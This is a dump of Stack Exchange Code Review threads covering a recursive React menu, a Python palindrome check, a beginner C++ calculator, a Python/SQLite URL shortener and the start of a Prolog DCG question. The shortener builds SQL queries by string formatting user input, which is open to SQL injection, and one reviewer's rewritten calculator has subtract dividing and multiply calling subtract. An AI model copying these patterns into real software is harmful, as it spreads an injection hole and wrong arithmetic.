import MobileNavigationMenuItem from './MobileNavigationMenuItem';
import classnames from 'classnames';
import List from '@material-ui/core/List';
class MobileNavigation extends React.Component {
state = {
currentOpenChildId: null
};
handleCurrentlyOpen = (id) => {
this.setState({
currentOpenChildId: id
});
};
render() {
const { classes } = this.props;
// Loop through the navigation array and create a new component for each,
// passing the current menuItem and its children as props
const nodes = this.props.data.navigation.map((item) => {
return (
<MobileNavigationMenuItem
key={item.id}
node={item}
passToParent={this.handleCurrentlyOpen}
currentlyOpen={this.state.currentOpenChildId}>
{item.children}
</MobileNavigationMenuItem>
);
});
return (
<List disablePadding className={classnames([this.props.styles, classes.root])}>
{nodes}
</List>
);
}
}
MobileNavigation.propTypes = {
classes: PropTypes.object.isRequired,
styles: PropTypes.string,
data: PropTypes.object.isRequired
};
const styles = (theme) => ({
root: {
width: '100%',
padding: 0,
boxShadow: 'inset 0 1px 0 0 rgba(255, 255, 255, 0.15)',
background: "#222"
},
link: {
color: '#fff',
textDecoration: 'none'
}
});
export default withStyles(styles)(MobileNavigation);
</code></pre>
<p>And each item of the navigation that gets called recursively</p>
<p><b>MobileNavigationMenuItem.jsx</b></p>
<pre><code>import React from 'react';
import { ListItem, Collapse, List } from '@material-ui/core';
import ArrowDropDown from '@material-ui/icons/ArrowDropDown';
import ArrowDropUp from '@material-ui/icons/ArrowDropUp';
import { withStyles } from '@material-ui/core/styles';
import classnames from 'classnames';
import PropTypes from 'prop-types';
class MobileNavigationMenuItem extends React.Component {
state = {
open: false,
id: this.props.node.id,
currentOpenChildId: null
};
handleClick = () => {
if (this.props.currentlyOpen == this.props.node.id) {
this.setState((state) => ({ open: !state.open }));
} else {
this.setState({ open: true }, this.props.passToParent(this.props.node.id));
}
};
handleCurrentlyOpen = (id) => {
this.setState({
currentOpenChildId: id
});
};
// These got separated due to having an inner div inside each item to be able to set a max width and maintain styles
getNestedBackgroundColor(depth) {
const styles = {
backgroundColor: 'rgba(255, 255, 255, 0.05)'
};
if (depth === 1) {
styles.backgroundColor = 'rgba(255, 255, 255, 0.1)';
}
if (depth === 2) {
styles.backgroundColor = 'rgba(255, 255, 255, 0.15)';
}
return styles;
}
getNestedPadding(depth) {
const styles = {
paddingLeft: 0
};
if (depth === 1) {
styles.paddingLeft = 15;
}
if (depth === 2) {
styles.paddingLeft = 30;
}
return styles;
}
render() {
const { classes } = this.props;
let childnodes = null;
// The MobileNavigationMenuItem component calls itself if there are children
// Need to pass classes as a prop or it falls out of scope
if (this.props.children) {
childnodes = this.props.children.map((childnode) => {
return (
<MobileNavigationMenuItem
key={childnode.id}
node={childnode}
classes={classes}
passToParent={this.handleCurrentlyOpen}
currentlyOpen={this.state.currentOpenChildId}>
{childnode.children}
</MobileNavigationMenuItem>
);
});
}
// Return a ListItem element
// Display children if there are any
return (
<React.Fragment>
<ListItem
onClick={this.handleClick}
className={classes.item}
style={this.getNestedBackgroundColor(this.props.node.depth)}>
<div className={classes.wrapper}>
<a
href=""
style={this.getNestedPadding(this.props.node.depth)}
className={classnames([classes.link, !childnodes.length && classes.goFullWidth])}>
{this.props.node.title}
</a>
{childnodes.length > 0 &&
(this.props.currentlyOpen == this.props.node.id && this.state.open ? (
<ArrowDropUp />
) : (
<ArrowDropDown />
))}
</div>
</ListItem>
{childnodes.length > 0 && (
<Collapse
in={this.props.currentlyOpen == this.props.node.id && this.state.open}
timeout="auto"
unmountOnExit>
<List disablePadding>{childnodes}</List>
</Collapse>
)}
</React.Fragment>
);
}
}
MobileNavigationMenuItem.propTypes = {
classes: PropTypes.object.isRequired,
node: PropTypes.object.isRequired,
children: PropTypes.array.isRequired,
passToParent: PropTypes.func.isRequired,
currentlyOpen: PropTypes.string
};
const styles = (theme) => ({
link: {
color: '#fff',
textDecoration: 'none'
},
goFullWidth: {
width: '100%'
},
item: {
minHeight: 48,
color: '#fff',
backgroundColor: 'rgba(255, 255, 255, 0.05)',
padding: '12px 15px',
boxShadow: 'inset 0 -1px 0 0 rgba(255, 255, 255, 0.15)',
'& svg': {
marginLeft: 'auto'
}
},
wrapper: {
width: '100%',
display: 'flex',
alignItems: 'center',
maxWidth: '440px', // any value here
margin: 'auto',
[theme.breakpoints.down('sm')]: {
maxWidth: '100%'
},
}
});
export default withStyles(styles)(MobileNavigationMenuItem);
</code></pre>
<p>I'll admit there is some code clean up I could do in regards to styling nested elements, but overall it works really well and I'm pretty proud of it.</p>
<p>The questions I have stemmed from how I'm closing and opening the children. Each menu item has an open state and acts as a 'parent' of any direct children. When you click an item, it passes the state up and if it the id matches it opens (closing all others).</p>
<p>Each item calls itself if it has children and repeats recursively.</p>
<p>I would love to get some insight on any improvements I can make or if this is a good or bad solution to the problem.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-12-05T05:50:53.907",
"Id": "456352",
"Score": "0",
"body": "Hi, could you please share the screen shot this?.. because i need to navigate the single page with different parameter from nested array in react-native. if you share the screenshot it more helpful for me."
}
] | [
{
"body": "<p>TL;DR Reworked code : (I used a snippet so I could hide it)</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>class MobileNavigation extends React.Component {\n state = {\n currentOpenChildId: null\n };\n\n handleCurrentlyOpen = currentOpenChildId => {\n this.setState({ currentOpenChildId });\n };\n\n render() {\n const { classes, data: { navigation }, styles } = this.props;\n\n return (\n <List disablePadding className={classnames([styles, classes.root])}>\n {navigation.map(item => (\n <MobileNavigationMenuItem\n key={item.id}\n node={item}\n passToParent={this.handleCurrentlyOpen}\n currentlyOpen={this.state.currentOpenChildId}>\n {item.children}\n </MobileNavigationMenuItem>\n ))}\n </List>\n );\n }\n}\n\nclass MobileNavigationMenuItem extends React.Component {\n state = {\n open: false,\n id: this.props.node.id,\n currentOpenChildId: null\n };\n\n handleClick = () => {\n const { currentlyOpen, node, passToParent }\n if (currentlyOpen == node.id) {\n this.setState(state => ({ open: !state.open }));\n } else {\n this.setState({ open: true }, passToParent(node.id));\n }\n };\n\n handleCurrentlyOpen = currentOpenChildId => {\n this.setState({ currentOpenChildId });\n };\n\n getNestedBackgroundColor = depth => (\n {\n 1: 'rgba(255, 255, 255, 0.1)',\n 2: 'rgba(255, 255, 255, 0.15)'\n }[depth] || 'rgba(255, 255, 255, 0.05)'\n )\n\n getNestedPadding = depth => (\n {\n 1: 15,\n 2: 30\n }[depth] || 0\n )\n\n render() {\n const { classes, currentlyOpen, node, children } = this.props;\n const { currentOpenChildId, open } = this.state\n \n return (\n <React.Fragment>\n <ListItem\n onClick={this.handleClick}\n className={classes.item}\n style={this.getNestedBackgroundColor(node.depth)}>\n <div className={classes.wrapper}>\n <a\n href=\"\"\n style={this.getNestedPadding(node.depth)}\n className={classnames([classes.link, !childnodes.length && classes.goFullWidth])}>\n {node.title}\n </a>\n {children && currentlyOpen == node.id && open ? \n <ArrowDropUp />\n : \n <ArrowDropDown />\n }\n </div>\n </ListItem>\n {children && (\n <Collapse\n in={currentlyOpen == node.id && open}\n timeout=\"auto\"\n unmountOnExit>\n <List disablePadding>\n {children.map(childnode => (\n <MobileNavigationMenuItem\n key={childnode.id}\n node={childnode}\n classes={classes}\n passToParent={this.handleCurrentlyOpen}\n currentlyOpen={currentOpenChildId}>\n {childnode.children}\n </MobileNavigationMenuItem>\n ))}\n </List>\n </Collapse>\n )}\n </React.Fragment>\n );\n }\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<hr>\n\n<h2>Reducing your <code>getXXX</code> functions</h2>\n\n<p>3 of your functions share the same layout :</p>\n\n<pre><code>getNestedBackgroundColor(depth) {\n const styles = {\n backgroundColor: 'rgba(255, 255, 255, 0.05)'\n };\n if (depth === 1) {\n styles.backgroundColor = 'rgba(255, 255, 255, 0.1)';\n }\n if (depth === 2) {\n styles.backgroundColor = 'rgba(255, 255, 255, 0.15)';\n }\n return styles;\n}\n</code></pre>\n\n<p>Using JSON objects, you could map each result to the desired <code>depth</code> number :</p>\n\n<pre><code>{\n 1: 'rgba(255, 255, 255, 0.1)',\n 2: 'rgba(255, 255, 255, 0.15)'\n}\n</code></pre>\n\n<p>Now, just add brackets to extract the correct output, and return the default one if nothing was found using the <code>||</code> operator :</p>\n\n<pre><code>{\n 1: 'rgba(255, 255, 255, 0.1)',\n 2: 'rgba(255, 255, 255, 0.15)'\n}[depth] || 'rgba(255, 255, 255, 0.05)'\n</code></pre>\n\n<p>The <code>getNestedPadding</code> function :</p>\n\n<pre><code>getNestedPadding = depth => (\n {\n 1: 15,\n 2: 30\n }[depth] || 0\n)\n</code></pre>\n\n<p>Short syntax : <code>getNestedPadding = depth => ({ 1: 15, 2: 30 }[depth] || 0)</code></p>\n\n<h2>Deconstructing</h2>\n\n<p>I added a lot of <code>state</code> and <code>props</code> deconstruction throughout your code :</p>\n\n<pre><code>const { classes, currentlyOpen, node, children } = this.props;\nconst { currentOpenChildId, open } = this.state\n</code></pre>\n\n<p>This allows you to stop repeating <code>this.state.XXX</code> later on and make your code more readable.</p>\n\n<h2>Conditional rendering</h2>\n\n<p>You are already using the <code>&&</code> operator with some parameters but are not using it with the <code>map</code> function, your mapped arrays can also be conditionally rendered in your JSX :</p>\n\n<pre><code>return (\n <List disablePadding className={classnames([styles, classes.root])}>\n {navigation.map(item => ( //Short arrow function syntax\n <MobileNavigationMenuItem\n key={item.id}\n node={item}\n passToParent={this.handleCurrentlyOpen}\n currentlyOpen={this.state.currentOpenChildId}>\n {item.children}\n </MobileNavigationMenuItem>\n ))}\n </List>\n);\n</code></pre>\n\n<p>Also, putting single JSX component in a condition does not require using parenthesis :</p>\n\n<pre><code>{children && currentlyOpen == node.id && open ? \n <ArrowDropUp />\n : \n <ArrowDropDown />\n}\n</code></pre>\n\n<p>And the variable <code>children</code> can be used instead of <code>childnodes.length > 0</code> now that your children are conditionally rendered :</p>\n\n<pre><code><List disablePadding>\n {children.map(childnode => (\n <MobileNavigationMenuItem\n key={childnode.id}\n node={childnode}\n classes={classes}\n passToParent={this.handleCurrentlyOpen}\n currentlyOpen={currentOpenChildId}>\n {childnode.children}\n </MobileNavigationMenuItem>\n ))}\n</List>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T19:38:33.993",
"Id": "411591",
"Score": "0",
"body": "Thanks for the reply. Was more interested in feedback surrounding the higher level concept of passing the props and state around. The style functions can be written in numerous ways so wasn't really focusing on them. Wasn't looking to make the code more concise really either but the destructuring, syntax and conditional rendering are things I've noted."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T11:27:22.153",
"Id": "212788",
"ParentId": "212733",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T04:08:35.813",
"Id": "212733",
"Score": "1",
"Tags": [
"recursion",
"react.js",
"jsx"
],
"Title": "Recursive react.js navigation menu"
} | 212733 |
<p>This code checks if the given integer is a palindrome. If it is, prints given integer is a palindrome else, not a palindrome:</p>
<pre><code>from collections import deque
def polindrome(input):
d = deque()
d.extendleft(str(input))
result = int(''.join(d))
if input == result :
return input , 'is a polindrome'
else :
return (input , 'is not a polindrome')
</code></pre>
| [] | [
{
"body": "<p>There's a much easier way to do this. Python slicing allows you to reverse a string with <code>s[::-1]</code>. So you can just do:</p>\n\n<pre><code>def is_palindrome(s):\n return s == s[::-1]\n</code></pre>\n\n<p>To make this work for integers, you can just <code>str()</code> the int.</p>\n\n<p>Why would you want to do it this way? For one, you're already converting to a string. So this approach shouldn't have any worse performance characteristics. Your use of a <code>deque</code> here is probably a bit overkill. <code>deque</code>s make sense when you have lots of prepending to lists. Here, your numbers aren't likely to be that many digits (even though integers in python can be arbitrarily large). And then on top of this you then convert back to an <code>int</code>, which is an unnecessary step (as you could just compare the strings) and could fail (although it shouldn't).</p>\n\n<p>And beyond the performance, using the <code>deque</code> (and converting back to an <code>int</code>) makes it more difficult to understand what your code is doing. <code>s[::-1]</code> is a well understood idiom that clearly conveys its purpose in context (<code>s == s[::-1]</code>).</p>\n\n<p>I wouldn't return a tuple from the function. It's much more informative to return a <code>bool</code> and then use that to print whatever string you want:</p>\n\n<pre><code>if is_palindrome(str(num)):\n print(f'{num} is a palindrome')\nelse:\n print(f'{num} is not a palindrome')\n</code></pre>\n\n<p>You should also look into <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"noreferrer\">PEP8</a> to make your code look more consistent with Python's widely accepted style guide.</p>\n\n<p>Looking at the performance:</p>\n\n<pre><code>$ python3 -m timeit -s 'from funcs import polindrome' 'polindrome(123456654321)'\n200000 loops, best of 5: 1.26 usec per loop\n\n$ python3 -m timeit -s 'from funcs import is_palindrome' 'is_palindrome(str(123456654321))'\n500000 loops, best of 5: 435 nsec per loop\n</code></pre>\n\n<p><code>is_palindrome</code> is about 2.8 times faster.</p>\n\n<p>You may also want to write some <a href=\"https://docs.python.org/3/library/unittest.html\" rel=\"noreferrer\">unit tests</a> as there are some strange cases that your code may not handle correctly (eg. should <code>120</code> be a palindrome of <code>21</code> since <code>021 == 21</code> or not since they are different lengths?)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T14:39:00.710",
"Id": "411572",
"Score": "0",
"body": "Thank you, Bailey, my intention is to use collections and deque as part of learning different ways of solving the same problem. Your insight into solving the same problem in simpler ways made me to understand to write the code better way."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T07:09:08.407",
"Id": "212740",
"ParentId": "212738",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "212740",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T05:55:33.593",
"Id": "212738",
"Score": "1",
"Tags": [
"python",
"python-3.x",
"palindrome"
],
"Title": "Check if given integer is a palindrome"
} | 212738 |
<p>I need someone with experience to judge my first project to let me know what I have to work on. I recently started learning C++ using resources like Solo Learn and Bucky's tutorials on YouTube hoping to eventually gain enough experience to find a job in software development.</p>
<pre><code>#include <iostream>
#include <string>
using namespace std;
//Functions
// addition function
int calc_sum(){
double x;
double y;
cout << "enter two numbers to get a sum" <<endl;
cin >> x >> y;
double sum = x+y;
cout <<"The sum is "<< sum <<"."<<endl;
}
// multiplication function
int calc_pro(){
double a;
double b;
cout<<"enter two numbers to find the product"<<endl;
cin>> a >> b;
double product = a * b;
cout<< "The product is "<< product <<"."<<endl;
}
// division function
int calc_div(){
double x;
double y;
cout<< "enter two numbers to divide."<<endl;
cin>> x >> y;
double div = x/y;
cout << "The quotient is "<< div <<"." <<endl;
}
// Subtraction function
int calc_sub() {
double a;
double b;
cout<< "Enter two numbers to subtract."<< endl;
cin>> a >> b;
double diff = a-b;
cout<< "The difference is "<< diff <<endl;
}
//core function
void core2(){
string choice;
cout<<"Would you like to multiply, divide, add, or subtract? (typer in lowercase)"<<endl;
cin>>choice;
if(choice=="add"){
calc_sum();
core2();
}
else if(choice=="subtract"){
calc_sub();
core2();
}
else if(choice=="multiply"){
calc_pro();
core2();
}
else if(choice=="divide"){
calc_div();
core2();
}
else{
cout<<"USER ERROR"<<endl<< "you typed in something wrong, try again."<<endl;
core2();
}
}
int main(){
core2();
}
</code></pre>
| [] | [
{
"body": "<h3>Indentation</h3>\n\n<p>You should indent your methods and if/while blocks in order to improve general readability.</p>\n\n<h3>Unnecessary Recursion</h3>\n\n<p>If your user decides to perform enough operations, it could result in the call stack overflowing and affecting other applications. In your application, a loop is a more appropriate choice than recursion.</p>\n\n<h3>DRY - Don't Repeat Yourself</h3>\n\n<p>You have four different places where you are getting inputs. While it may be OK on this occasion (it's only one line after all), if it were any longer I would suggest extracting it to a method to allow for easy reuse.</p>\n\n<h3>Typo</h3>\n\n<p><code>typer in lowercase</code> should be <code>type in lowercase</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T08:43:38.910",
"Id": "411492",
"Score": "0",
"body": "Can you tell me which lines are considered to have recursion?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T09:01:40.267",
"Id": "411493",
"Score": "4",
"body": "Any time you're calling `core2()` within the `core2()` method."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T08:15:23.323",
"Id": "212744",
"ParentId": "212741",
"Score": "4"
}
},
{
"body": "<p>Looking at the code, I can't deduce if you are learning C with some sparkles of C++ or actual C++. So I'm curious to see the continuation.</p>\n\n<p>That said, let me look at the actual code.\nI don't like <code>using namespace std;</code>, though for beginners I can agree using it might make things easier so you can focus on the other stuff first.</p>\n\n<p>Looking further, I see an inconsistent use of types in calc_sum. You nicely use doubles for the input, and than you return an int. So, you can enter: 0.1 and 0.8, and the result will be 0. I suggest you read up about the difference between int and double to find out why 0 is returned.</p>\n\n<p>Looking closer, you don't return anything. So you are actually in UB land (undefined behavior). Which makes me realize that your implementation is surprising me. Part of the explanation above simply doesn't hold as I read in patterns.</p>\n\n<p>Reading through, I see a method called calc_pro, (from product?). With documentation about the multiplication. Here you have fallen in a trap I still see with senior developers: Don't use abbreviations in function names, these will conflict over time. Also, don't spare characters. With a good IDE or text editor, you get auto complete. Be descriptive.</p>\n\n<p>Next up, you have discovered recursion. core2 calls itself. On its own, not a bad thing, though not appropriate here. Given enough input, your program will crash. Using a <code>do-while</code> or a regular<code>while</code> sounds like a better solution.</p>\n\n<p>At one point, you also print an error to <code>cout</code>, the output stream. There is however an <code>cerr</code> which is an error stream, something a console could color differently.</p>\n\n<p>Finally, there is a lot of copy paste and functions doing too much at once.\nEvery function requests 2 arguments from cin, does a calculation and prints to cout. This should be 3 functions.</p>\n\n<pre><code>std::pair<double, double> getNumbers(string action) {\n double a;\n ...\n cout << \"Enter ... to \" << action << \".\" << endl;\n ...\n return { a, b };\n }\n</code></pre>\n\n<p>And so on.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T09:47:49.520",
"Id": "212747",
"ParentId": "212741",
"Score": "5"
}
},
{
"body": "<h2>Code formatting</h2>\n\n<p>Format your code to improve readability and hence maintainability.</p>\n\n<h2>DRY (Don't Repeat Yourself) Principle</h2>\n\n<p>You have a lot of places with duplicate code. You should try to avoid this.</p>\n\n<p>First of all in your <code>core2</code> method you have calls in all condition blocks, you should move it below to be executed in any case.</p>\n\n<p>Also you have many duplicate code in your <code>calc</code> methods. You can move duplicate code to your core <code>core2</code> method.</p>\n\n<h2>Inconsistent styles</h2>\n\n<p>Use the same style everywhere. If you are starting your sentences for output with uppercase then try to follow it everywhere. The same is true about comments and constructs like <code>to get a sum</code>, <code>to find a product</code>, <code>to divide</code>. Use single ubiquitous style for everything.</p>\n\n<h2>Function return types</h2>\n\n<p>If you don't want to return anything from your function it should be <code>void</code>. All your <code>calc</code> functions are <code>int</code>s (but you don't call return operator) and you are not using return values. So all your <code>calc</code> functions should be void.</p>\n\n<h2>Redundant <code>core2</code> function</h2>\n\n<p><strike>Also <code>core2</code> function is not needed here, you can use <code>main</code> directly.</strike> But C++ specs prohibits this behaviour although this works fine in most compilers. So we can replace <code>core2</code> recursion with infinite loop in <code>main</code>.</p>\n\n<hr>\n\n<p>So if we take into account all above notes code will look like this</p>\n\n<pre><code>#include <iostream>\n#include <string>\nusing namespace std;\n\n// Now we have only primitive one-liner arithmetic functions\n// with double return types \n\ndouble add(double a, double b) { return a + b; }\n\ndouble subtract(double a, double b) { return a / b; }\n\ndouble multiply(double a, double b) { return a * b; }\n\ndouble divide(double a, double b) { return a / b; }\n\nvoid core2() {\n string choice;\n cout << \"Would you like to multiply, divide, add, or subtract? (typer in lowercase)\" << endl;\n cin >> choice;\n\n // Choosing correct action name to output\n string result_name;\n\n if (choice == \"add\") {\n result_name = \"sum\";\n } else if (choice == \"subtract\") {\n result_name = \"difference\";\n } else if (choice == \"multiply\") {\n result_name = \"product\";\n } else if (choice == \"divide\") {\n result_name = \"quotient\";\n } else { // This block also performs validation of input parameter\n result_name = \"\"; // Just to prevent compiler error due to undeclared variable\n cout << \"USER ERROR\" << endl << \"you typed in something wrong, try again.\" << endl;\n return; // end execution here\n }\n\n // Entering numbers in single place\n double a;\n double b;\n cout << \"Enter two numbers to get the \"<< result_name << \".\" << endl;\n cin >> a >> b;\n\n double result;\n\n if (choice == \"add\") {\n result = add(a, b);\n } else if (choice == \"subtract\") {\n result = subtract(a, b);\n } else if (choice == \"multiply\") {\n result = subtract(a, b);\n } else {\n result = divide(a, b);\n }\n\n // Outputting result in single place\n cout << \"The \" << result_name << \" is \" << result << \".\" << endl;\n}\n\nint main() {\n while (true) {\n core2();\n }\n}\n</code></pre>\n\n<hr>\n\n<p>Further improvement will use more advanced techniques and relatively new C++11 features.</p>\n\n<p>You need some way to map string and function, so for this we will use <code>std::map</code> as dictionary and <code>std::function</code> as polymorphic function wrapper. Also lambdas will be use to pass anonymous functions here as parameters. <code>struct</code> will be here used as container to store calculation function and result description.</p>\n\n<pre><code>#include <iostream>\n#include <string>\n#include <functional>\n#include <map>\nusing namespace std;\n\nstruct CalculationTechnique {\n std::function<double (double,double)> Function;\n string ResultName;\n};\n\nvoid core2() {\n string choice;\n cout << \"Would you like to multiply, divide, add, or subtract? (typer in lowercase)\" << endl;\n cin >> choice;\n\n // Filling our dictionary\n std::map<string, CalculationTechnique> calculation_mapping = {\n { \"add\", CalculationTechnique { [](double a, double b) -> double { return a + b; }, \"sum\" } },\n { \"subtract\", CalculationTechnique { [](double a, double b) -> double { return a - b; }, \"difference\" } },\n { \"multiply\", CalculationTechnique { [](double a, double b) -> double { return a * b; }, \"product\" } },\n { \"divide\", CalculationTechnique { [](double a, double b) -> double { return a / b; }, \"quotient\" } }\n }; \n\n // if no value found in dictionary\n if (calculation_mapping.count(choice) == 0) {\n cout << \"USER ERROR\" << endl << \"you typed in something wrong, try again.\" << endl;\n return;\n }\n\n CalculationTechnique technique = calculation_mapping.at(choice);\n\n double a;\n double b;\n cout << \"Enter two numbers to get the \"<< technique.ResultName << \".\" << endl;\n cin >> a >> b;\n\n cout << \"The \" << technique.ResultName << \" is \" << technique.Function(a, b) << \".\" << endl;\n}\n\nint main() {\n while (true) {\n core2();\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T10:48:14.040",
"Id": "411498",
"Score": "1",
"body": "Now that is an answer I was looking for, helpful and with example. I'm not sure how long this took you to write, but I'm really glad there are people like you. There is indeed a lot of things I have to learn, do you know any resources that can be helpful on my journey to a career in software development? I am self taught and there's only so much you can do a website like sololearn."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T11:02:04.497",
"Id": "411501",
"Score": "2",
"body": "@JuanR I'm self taught also. Answer writing took about 1,5-2 hours. I'm not big expert at C++, just studied some time before completely switched to C#. Best resources should have a lot of tasks for you to practice, therefore my favourite C++ book is \"C++ How to Program\" by Deitel and Deitel because it has a lot of tasks in the end of every chapter. I even used this tasks when studying other programming languages. Obviously programmer is learning programming by creating programs, so I dislike books that just talk about programming and don't have tasks to do."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T11:10:19.563",
"Id": "411502",
"Score": "1",
"body": "@JuanR Also learn fresh language features (C++11, C++14), don't use outdated resources that don't use them. C++ is also hard language because it has manual memory management, a lot of hard concepts and syntax pitfalls, it has a lot of rubbish syntax heritage from C. If you like programming but not very huge fan of C++, consider studying some other languages (except you want to develop triple A games, hardcore 3D or low-level software). General advice is just to study requirements for your desired job."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T17:05:21.780",
"Id": "411517",
"Score": "1",
"body": "Remove your recursive `main()` call and I'll up vote."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T19:52:12.107",
"Id": "411524",
"Score": "0",
"body": "@bruglesco Replaced recursive `main` with infinite loop in `main`. Hope this is better approach."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T19:53:11.673",
"Id": "411525",
"Score": "0",
"body": "@JerryCoffin Thanks for this info, didn't know about it because it compiled fine everywhere. Replaced recursive `main` with infinite loop in `main`. Hope this is better approach."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T20:06:40.580",
"Id": "411529",
"Score": "1",
"body": "Storing `result_name` into a variable and then using that in the middle of a sentence is definitely not good code from localization perspective. You have to localize the whole sentence as one unit."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T20:15:48.340",
"Id": "411531",
"Score": "0",
"body": "@Sulthan I know. Whole program is not built with localization in mind so most parts would be redesigned if it would be needed. But not all programs need it and it wasn't requirement here."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T04:59:27.200",
"Id": "411547",
"Score": "0",
"body": "The use of `CalculationTechnique` is dubious and almost deserves a -1. What is it trying to abstract/extend? Why is hardcoded with 2 operands when many operators (e.g sqrt and trig functions) have other number of operands? Is it really *necessary* when you only have a few possible, *closed* set of arithmetic operations that won't be changed for centuries? Teaching people to unnecessarily unnecessarily is basically making them a bad software engineer."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T10:14:03.287",
"Id": "212749",
"ParentId": "212741",
"Score": "12"
}
}
] | {
"AcceptedAnswerId": "212749",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T07:24:48.330",
"Id": "212741",
"Score": "7",
"Tags": [
"c++",
"beginner",
"calculator"
],
"Title": "C++ arithmetic on two numbers"
} | 212741 |
<p>I had implemented a URL shortener with Python and a database. Please review the database part of the code. The idea is to create an MD5 hash of the URL in question and then store it in a database. The hex digits of the MD5 hash is then encoded with a large base encoding i.e base 62 encoding or base 128 encoding to do away with the long length of the hash. The rest of the code can be found on <a href="https://github.com/hirok19/URLShortener/tree/fd8ae6f71ed0f1ab61aa5a65b62db18a01a10bcb" rel="nofollow noreferrer">https://github.com/hirok19/URLShortener</a>.</p>
<pre><code>import pysqlite3
import hashlib
class DatabaseConnector:
cursor=None
conn=None
def __init__(self,path):
try:
self.conn = pysqlite3.connect(path)
self.cursor=self.conn.cursor()
except:
print("Unable to initialize database")
def createTable(self):
try:
self.cursor.execute("""CREATE TABLE IF NOT EXISTS urlTable (id,url)""")
except Exception as e:
print("Unable to create table")
print(e)
def insertURL(self,URL):
key=self.getKey(URL)
#print(type(key))
insert_stmt = ("INSERT INTO urlTable (id,url) VALUES ('{0}','{1}');")
statement=insert_stmt.format(key,URL)
#print(statement)
try:
if(self.getURLFromKey(key) is None):
self.cursor.execute(statement)
self.conn.commit()
print("Data inserted!")
else:
print("Data already present")
except Exception as e:
print("Unable to insert data")
print(e)
return None
return key
def getKey(self,URL):
hashedKey=hashlib.md5(URL.encode())
return hashedKey.hexdigest()
def getURLFromKey(self,key):
insert_stmt=("SELECT url from urlTable where id='{0}';")
statement=insert_stmt.format(key)
#print(statement)
try:
self.cursor.execute(statement)
rows = self.cursor.fetchall()
if(len(rows)>0):
return rows[0][0]
else:
return None
except Exception as e:
print("Unable to fetch URL")
print(e)
return None
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T18:05:45.220",
"Id": "411521",
"Score": "2",
"body": "Please fix your indentation. The easiest way to post code is to paste it into the question editor, highlight it, and press Ctrl-K to mark it as a code block."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T22:52:28.783",
"Id": "411542",
"Score": "0",
"body": "Can you confirm that the code is working as expected? You're question has received a close vote because this isn't clear at the moment. Also, would you be able to put all the relevant code in the question? We can't reasonable read anything which isn't in the question, and we have to assume that external links will rot with time."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:23:00.263",
"Id": "411652",
"Score": "0",
"body": "@VisualMelon, How can I paste code that spans over a few files?. The code works as expected."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:23:44.557",
"Id": "411653",
"Score": "1",
"body": "@200_success. The indentation is fixed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:25:16.500",
"Id": "411655",
"Score": "0",
"body": "Any relevant files can be included in separate code blocks, with a heading to indicate the filename, and a description of what the code in the file does. Basically, anything you want us to take into consideration must be in the question body itself somewhere; if nothing else is relevant then it's not a problem at it is."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T11:39:23.640",
"Id": "212750",
"Score": "2",
"Tags": [
"python",
"object-oriented",
"url",
"sqlite",
"hashcode"
],
"Title": "Database code for Python-based URL shortener"
} | 212750 |
<p>To teach myself how to do meta-progaming using Prolog, I've been playing around with translating ABNF syntax into DCG syntax. I'm still at the lexing and tokenising stage, but hope to advance to the "yacc" stage soon.</p>
<p>Using Json, since it is defined in ABNF at <a href="https://trac.ietf.org/trac/json/browser/abnf/json.abnf?rev=2" rel="nofollow noreferrer">https://trac.ietf.org/trac/json/browser/abnf/json.abnf?rev=2</a> (and something I find frustrating in compiler tutorials I've found online is they don't stick to context free grammars after boring students with the basics), I've written the following code which works OK on the simple examples I've tested.</p>
<pre><code>:- use_module(library(dcg/basics)).
